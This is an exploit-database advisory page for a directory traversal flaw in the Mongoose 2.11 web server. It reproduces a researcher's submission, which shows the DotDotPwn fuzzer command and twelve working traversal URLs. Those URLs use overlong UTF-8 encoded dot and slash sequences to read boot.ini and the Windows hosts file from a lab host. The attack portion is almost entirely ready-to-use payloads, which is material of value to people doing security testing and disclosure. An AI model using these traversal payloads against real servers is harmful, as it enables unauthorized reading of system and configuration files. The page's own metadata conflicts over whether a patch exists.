Mongoose 2.11 Directory Traversal

vendor:

Mongoose

by:

nitr0us (Alejandro Hernandez H.)

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: Mongoose

Affected Version From: 2.11

Affected Version To: 2.11

Patch Exists: NO

Related CWE: Unknown

CPE: a:mongoose:mongoose:2.11

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Service Pack 2

Unknown

Mongoose 2.11 Directory Traversal

A directory traversal vulnerability was found in Mongoose version 2.11. This vulnerability allows an attacker to access files outside of the intended directory.

Mitigation:

Update to a patched version of Mongoose.

Source

Exploit-DB raw data:

# Exploit Title: Mongoose 2.11 Directory Traversal
# Date: 29 Oct
# Author: nitr0us (Alejandro Hernandez H.)
# Software Link: http://mongoose.googlecode.com/files/mongoose-2.11.exe
# Version: 2.11 (Windows Version)
# Tested on: Windows XP Service Pack 2

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Previous directory traversal flaws were found in Mongoose. The latest one was 
found by Gera from CORE Security at EKO Party 2009, but, there is still a flaw 
in the latest version (2.11) which was found by DotDotPwn.

I already reported the flaw in the Mongoose's issue tracking system.
http://code.google.com/p/mongoose/issues/detail?id=90&q=traversal#c10


EXPLOIT:
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******* Released @ BugCon Security Conferences 2010 - http://www.bugcon.org ********
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nitr0us@daiquiri ~ #./dotdotpwn.pl -m http -h 192.168.242.128 -x 8080 -O -s -d 3 -t 100 -q
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#                               - DotDotPwn v2.1 -                              #
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[========== TARGET INFORMATION ==========]
[+] Hostname: 192.168.242.128
[+] Detecting Operating System (nmap) ...
[+] Operating System detected:  Microsoft Windows XP SP2 or Windows Server 2003 SP0/SP1
[+] Protocol: http
[+] Port: 8080
[+] Service detected:

[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 3 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (windows)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 2328

[=========== TESTING RESULTS ============]
[+] Ready to launch 10.00 traversals per second
[+] Press any key to start the testing (You can stop it pressing Ctrl + C)

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/system32/drivers/etc/hosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\windows\system32\drivers\etc\hosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cwindows%5csystem32%5cdrivers%5cetc%5chosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fwindows%c0%2fsystem32%c0%2fdrivers%c0%2fetc%c0%2fhosts <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini <- VULNERABLE!

[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cwindows%c0%5csystem32%c0%5cdrivers%c0%5cetc%c0%5chosts <- VULNERABLE!

[+] Fuzz testing finished after 10.18 minutes (611 seconds)
[+] Total Traversals found: 12